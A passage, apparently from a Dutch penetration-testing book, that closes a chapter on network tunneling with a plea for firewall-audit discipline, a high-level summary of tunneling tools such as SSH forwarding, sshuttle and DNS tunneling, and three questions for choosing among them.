De enige verdediging die echt werkt tegen tunneling is niet een product of een tool. Het is discipline. Het is de discipline om elke uitzondering te documenteren, te reviewen, en te verwijderen wanneer hij niet meer nodig is. Het is de discipline om firewall-regels te auditen. Het is de discipline om te controleren of de architectuurtekening nog overeenkomt met de werkelijkheid.

En discipline, zo weten we uit de menselijke geschiedenis, is precies datgene waar we als soort het slechtst in zijn.

Referentietabel

Samenvatting

Tunneling is de kunst van het leggen van verborgen verbindingen door netwerken die bedoeld zijn om die verbindingen te voorkomen. Van de simpele elegantie van SSH local port forwarding tot de brute kracht van een Metasploit pivot-chain; van de transparantie van sshuttle tot het ultieme stealth-kanaal van DNS-tunneling – elke tool heeft zijn plaats.

De keuze hangt af van drie factoren:

1. Wat is beschikbaar? SSH? HTTP? Alleen DNS?
2. Wat heb je nodig? Een enkele poort? Een heel subnet? Een volledige SOCKS proxy?
3. Hoe stil moet je zijn? Maakt detectie uit, of is snelheid belangrijker?

In het volgende hoofdstuk verlaten we de tunnels en duiken we in de wereld van Linux post-exploitatie – waar de servers stil zijn, de logs uitgebreid, en de cronjobs verraderlijk.